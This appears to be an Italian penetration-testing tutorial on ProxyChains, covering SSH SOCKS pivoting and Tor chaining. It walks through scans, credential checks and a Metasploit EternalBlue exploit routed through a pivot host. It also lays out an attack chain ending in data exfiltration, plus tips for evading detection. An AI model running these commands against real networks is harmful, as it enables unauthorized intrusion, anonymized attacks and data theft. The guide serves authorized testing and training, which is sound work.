ProxyChains: Concatenare Proxy per Anonimato e Pivoting nel Pentest

ProxyChains: guida pratica per anonimizzare traffico e concatenare proxy in penetration test. Configurazione, SOCKS5 e integrazione tool.
- Pubblicato il 2026-02-07
- Tempo di lettura: 7 min
ProxyChains forza qualsiasi applicazione TCP a passare attraverso uno o più proxy (SOCKS4, SOCKS5, HTTP) senza che l’applicazione stessa debba supportare nativamente il proxying. Nel penetration testing ha due usi principali: instradare il traffico offensivo attraverso un pivot host per raggiungere reti interne, e concatenare più proxy per offuscare la sorgente del traffico.
Il tool opera come wrapper: lo anteponi al comando che vuoi eseguire e ProxyChains intercetta le chiamate di rete, redirezionandole attraverso la chain configurata. Nella kill chain, ProxyChains supporta le fasi di Lateral Movement, Command & Control e Exfiltration (MITRE ATT&CK T1090).
Qui trovi configurazione operativa, scenari di pivoting reali, integrazione con SSH e tool offensivi, e le differenze tra le varianti disponibili.
1️⃣ Setup e Installazione #
ProxyChains-ng (versione aggiornata e mantenuta):
sudo apt install proxychains4Per la versione compilata da sorgente:
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
sudo make install-configVerifica installazione:
proxychains4 --versionOutput:
proxychains-ng 4.17File di configurazione: /etc/proxychains4.conf (globale) oppure ./proxychains.conf nella directory corrente (priorità maggiore).
Requisiti:
- Almeno un proxy attivo (tipicamente SOCKS5 creato via SSH)
- Il tool da proxare deve usare TCP (UDP non supportato)
2️⃣ Uso Base #
Step 1 — Crea un proxy SOCKS5 con SSH Dynamic Forwarding:
ssh -D 1080 -N -f user@10.10.10.50-D 1080→ apre un SOCKS5 proxy sulla porta locale 1080-N→ nessun comando remoto-f→ background
Step 2 — Configura ProxyChains:
sudo nano /etc/proxychains4.confIn fondo al file, assicurati di avere:
[ProxyList]
socks5 127.0.0.1 1080Step 3 — Esegui qualsiasi tool attraverso il proxy:
proxychains4 nmap -sT -Pn 172.16.0.10Output:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.0.10:445 ... OK
Nmap scan report for 172.16.0.10
PORT STATE SERVICE
445/tcp open microsoft-dsOgni connessione TCP di Nmap passa attraverso 10.10.10.50. Il target vede il traffico provenire dal jump host, non dal tuo IP.
3️⃣ Tecniche Operative #
Modalità di concatenamento #
ProxyChains supporta tre modalità, configurabili nel file .conf:
Strict chain (default): il traffico passa per ogni proxy nell’ordine esatto. Se uno fallisce, la connessione si interrompe.
strict_chainDynamic chain: salta i proxy non raggiungibili e prosegue con quelli disponibili.
dynamic_chainRandom chain: seleziona proxy casuali dalla lista ad ogni connessione.
random_chain
chain_len = 2Per il pentest, dynamic_chain è la scelta operativa migliore: tollera proxy instabili senza bloccare tutto.
Nmap attraverso ProxyChains #
Scansione di una rete interna tramite pivot:
proxychains4 nmap -sT -Pn -p 21,22,80,443,445,3389 172.16.0.0/24Regole critiche per Nmap via ProxyChains:
- Usa sempre
-sT(TCP connect). SYN scan-sSnon funziona. - Usa sempre
-Pn(no ping). ICMP non passa attraverso SOCKS. - Evita
-sVsu range ampi — ogni probe è una connessione TCP separata attraverso il proxy, il tempo esplode.
CrackMapExec attraverso proxy #
proxychains4 crackmapexec smb 172.16.0.0/24 -u admin -p 'Password1'Output:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.0.10:445 ... OK
SMB 172.16.0.10 445 DC01 [*] Windows Server 2019 Build 17763
SMB 172.16.0.10 445 DC01 [+] CORP\admin:Password1 (Pwn3d!)Multi-proxy chain per offuscamento #
Configura più proxy in sequenza:
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081
socks4 127.0.0.1 9050Ogni proxy è un hop separato. Il target finale vede solo l’IP dell’ultimo proxy nella catena.
4️⃣ Tecniche Avanzate #
ProxyChains + Tor per anonimato #
Combinazione classica per mascherare l’origine durante OSINT o recon esterna:
sudo systemctl start torTor apre un SOCKS5 proxy su 127.0.0.1:9050. Configura:
dynamic_chain
[ProxyList]
socks5 127.0.0.1 9050proxychains4 curl ifconfig.meL’IP restituito sarà un exit node Tor.
Catena mista: Tor + pivot SSH #
Per raggiungere una rete interna passando prima per Tor e poi per il jump host:
dynamic_chain
[ProxyList]
socks5 127.0.0.1 9050
socks5 127.0.0.1 1080Il traffico va: tuo box → Tor → jump host SSH → rete interna. Doppio livello di offuscamento.
Config file dedicato per operazione #
Evita di modificare il file globale. Crea config per ogni target:
cp /etc/proxychains4.conf ./target-a.conf
nano ./target-a.confEsegui con:
proxychains4 -f ./target-a.conf nmap -sT -Pn 172.16.0.10Utile quando lavori su più ingaggi in parallelo.
DNS leak prevention #
ProxyChains può instradare anche le query DNS attraverso il proxy per evitare leak:
proxy_dnsAbilita questa opzione nel file di configurazione. Senza di essa, le query DNS vanno al resolver locale, rivelando i nomi host che stai risolvendo.
5️⃣ Scenari Pratici di Pentest #
Scenario 1: Enumerazione Active Directory via pivot SSH #
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 crackmapexec smb 172.16.0.0/24Output atteso:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.0.10:445 ... OK
SMB 172.16.0.10 445 DC01 [*] Windows Server 2019Cosa fare se fallisce:
Timeoutsu ogni host → Il tunnel SSH è caduto. Verifica conss -tlnp | grep 1080. Se non c’è, riapri il tunnel.- Tutti gli host risultano filtered → Firewall interno blocca 445 dal jump host. Prova porte alternative (5985 WinRM, 3389 RDP).
Timeline: Setup tunnel 10 secondi. Scansione /24 su porta singola: 2-5 minuti.
Scenario 2: Exploit Metasploit attraverso proxy #
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 msfconsoleDentro msfconsole:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 172.16.0.20
set PAYLOAD windows/x64/meterpreter/bind_tcp
runOutput atteso: Sessione Meterpreter aperta verso 172.16.0.20 attraverso il proxy.
Cosa fare se fallisce:
- Usa
bind_tcpe nonreverse_tcp— il reverse andrebbe verso il tuo IP che non è raggiungibile dalla rete interna. - Se il proxy è lento, aumenta
set WfsDelay 30per dare più tempo all’exploit.
Timeline: 1-3 minuti per exploit completo.
Scenario 3: Accesso a webapp interna con Firefox #
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 firefoxNaviga a http://172.16.0.10:8080 — la webapp interna è raggiungibile dal tuo browser.
Cosa fare se fallisce:
- Firefox non si avvia → Configura manualmente il proxy SOCKS5 nelle impostazioni di Firefox:
127.0.0.1:1080, senza usare ProxyChains. - Pagina non carica → Abilita
proxy_dnsnel config per risolvere hostname interni.
Timeline: Immediato.
6️⃣ Toolchain Integration #
ProxyChains è il collante che connette il tunnel SSH ai tool offensivi.
Flusso operativo:
SSH tunnel (-D 1080) → ProxyChains → Nmap / CrackMapExec / Impacket / Metasploit
Rispetto a SSHuttle, ProxyChains è meno trasparente (devi preporre proxychains4 a ogni comando) ma più flessibile: supporta catene di proxy multiple e funziona con qualsiasi tunnel SOCKS, non solo SSH.
Per enumerazione Active Directory attraverso il tunnel, scopri come integrare tool come CredNinja per validare credenziali su target interni raggiungibili via proxy.
| Criterio | ProxyChains | SSHuttle | Chisel |
|---|---|---|---|
| Trasparenza | Bassa (wrapper) | Alta (routing) | Alta (tunnel) |
| Concatenamento proxy | Sì | No | No |
| UDP support | No | No | Limitato |
| Compatibilità tool | Universale | Universale (TCP) | Universale |
| Anonimato multi-hop | Sì | No | No |
| Overhead configurazione | Medio | Basso | Medio |
7️⃣ Attack Chain Completa #
Obiettivo: Accesso anonimizzato a un database interno in una rete enterprise.
Fase 1 — Recon OSINT anonimizzata (30 min)
proxychains4 -f tor.conf theharvester -d target.com -l 200 -b allRecon attraverso Tor. Nessun traffico diretto verso il target.
Fase 2 — Initial Access (45 min)
Exploit di un servizio esposto. Ottieni shell su 10.10.10.50. Configuri persistenza con Crontab Backdoor.
Fase 3 — Tunnel setup (1 min)
ssh -D 1080 -N -f user@10.10.10.50Fase 4 — Enumerazione interna (20 min)
proxychains4 nmap -sT -Pn -p 1433,3306,5432 172.16.0.0/24Trovi un MSSQL su 172.16.0.30:1433.
Fase 5 — Accesso database (10 min)
proxychains4 sqsh -S 172.16.0.30 -U sa -P 'DBpassword1'Query diretta sul database attraverso il tunnel.
Fase 6 — Exfiltration (15 min)
Dump dei dati attraverso il proxy. Tutto il traffico è instradato via jump host.
Timeline totale: ~120 minuti.
8️⃣ Detection & Evasion #
Cosa monitora il Blue Team #
- Connessioni SOCKS proxy anomale sulla macchina compromessa
- Volume di traffico elevato in uscita da un host che normalmente genera poco traffico
- Pattern di connessioni sequenziali verso porte diverse sullo stesso target (scan via proxy)
Log rilevanti #
- Firewall logs → connessioni dalla macchina pivot verso IP interni su porte multiple
- Windows Security Log Event ID 4624/4625 → tentativi di login provenienti dal pivot host
- Syslog del proxy host → sessioni SSH prolungate con traffico anomalo
Tecniche di evasion #
- Limita la velocità delle scansioni: usa
--min-rate 50in Nmap per evitare burst di connessioni che triggerano IDS. - DNS resolution locale: disabilita
proxy_dnsse non serve, per ridurre il traffico attraverso il proxy. - Porta proxy non standard: usa una porta diversa da 1080 per il SOCKS proxy. Tool automatici di detection cercano porte note.
Cleanup #
Chiudi il tunnel SSH:
kill $(pgrep -f "ssh -D 1080")Non ci sono artefatti ProxyChains sul target — tutto il software gira sull’attacker box.
9️⃣ Performance & Scaling #
Scansioni leggere (singolo host, poche porte): latenza aggiuntiva minima, ~50-100ms per connessione.
Scansioni ampie (/24 con service detection): il tempo cresce in modo significativo. Ogni probe Nmap è una connessione TCP separata attraverso il proxy. Una scansione -sT -Pn -p- su un singolo host richiede 15-30 minuti via ProxyChains vs 2-3 minuti in locale.
Ottimizzazione:
proxychains4 nmap -sT -Pn -p 22,80,443,445,3389 --min-parallelism 10 172.16.0.0/24Limita le porte e aumenta il parallelismo. Più thread = più connessioni simultanee attraverso il proxy.
Thread safety: ProxyChains-ng supporta applicazioni multi-threaded. La versione legacy (proxychains 3.x) ha problemi con tool multi-threaded — usa sempre proxychains4.
🔟 Tabelle Tecniche #
Command Reference #
| Comando | Descrizione |
|---|---|
proxychains4 comando | Esegui tramite proxy chain |
proxychains4 -f file.conf comando | Config file custom |
proxychains4 -q comando | Modalità quiet (no output proxy) |
ssh -D 1080 -N -f user@host | Crea SOCKS5 proxy |
curl --socks5 127.0.0.1:1080 URL | Test proxy senza ProxyChains |
Confronto varianti ProxyChains #
| Feature | proxychains-ng (4.x) | proxychains (3.x) | tsocks |
|---|---|---|---|
| Manutenzione attiva | Sì | No | No |
| Thread safety | Sì | No | Parziale |
| DNS proxying | Sì | Parziale | No |
| Config per-operazione | Sì (-f) | No | Limitato |
| Chain modes | 3 (strict/dynamic/random) | 3 | 1 |
| Performance | Buona | Scarsa | Scarsa |
11️⃣ Troubleshooting #
| Problema | Causa | Fix |
|---|---|---|
Connection refused su ogni target | Tunnel SSH caduto | Verifica con ss -tlnp | grep 1080 |
Timeout costanti | Proxy troppo lento o target non raggiungibile | Testa il proxy: curl --socks5 127.0.0.1:1080 http://target |
| DNS non risolve | proxy_dns disabilitato | Abilita proxy_dns nel config |
| Nmap mostra tutto filtered | Stai usando -sS | Cambia in -sT -Pn |
| Tool multi-thread crasha | Versione legacy non thread-safe | Usa proxychains4 (ng) |
LD_PRELOAD error | Percorso libreria errato | Verifica path in /etc/proxychains4.conf |
12️⃣ FAQ #
Posso usare ProxyChains con UDP?
No. ProxyChains supporta solo TCP. Per DNS (UDP), abilita proxy_dns che intercetta e converte in TCP.
ProxyChains funziona con Burp Suite? Sì, ma è più efficiente configurare il proxy SOCKS direttamente nelle impostazioni di Burp (Project Options → SOCKS Proxy).
Quale modalità chain devo usare?
dynamic_chain per pentest operativi. Tollera proxy instabili senza bloccare tutto.
Posso concatenare ProxyChains con Ngrok? Sì. Ngrok espone un endpoint pubblico, puoi aggiungere il suo proxy alla catena per avere un ulteriore livello di indirettezza.
È più veloce SSHuttle o ProxyChains? SSHuttle è generalmente più veloce perché opera a livello di routing, non come wrapper LD_PRELOAD. ProxyChains è più versatile per catene multi-proxy.
Come testo se il proxy funziona?
proxychains4 curl ifconfig.me — l’IP restituito deve essere quello del proxy, non il tuo.
13️⃣ Cheat Sheet #
| Azione | Comando |
|---|---|
| Crea SOCKS5 via SSH | ssh -D 1080 -N -f user@host |
| Scan rete via proxy | proxychains4 nmap -sT -Pn -p 445 172.16.0.0/24 |
| CrackMapExec via proxy | proxychains4 cme smb 172.16.0.0/24 |
| Firefox via proxy | proxychains4 firefox |
| Config custom | proxychains4 -f myconfig.conf tool |
| Quiet mode | proxychains4 -q tool |
| Test proxy | proxychains4 curl ifconfig.me |
| Metasploit via proxy | proxychains4 msfconsole |
Disclaimer: ProxyChains è uno strumento legittimo per penetration testing e privacy. L’utilizzo per accesso non autorizzato a sistemi informatici è illegale. Usa queste tecniche esclusivamente in contesti autorizzati. Repository: github.com/rofl0r/proxychains-ng.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.




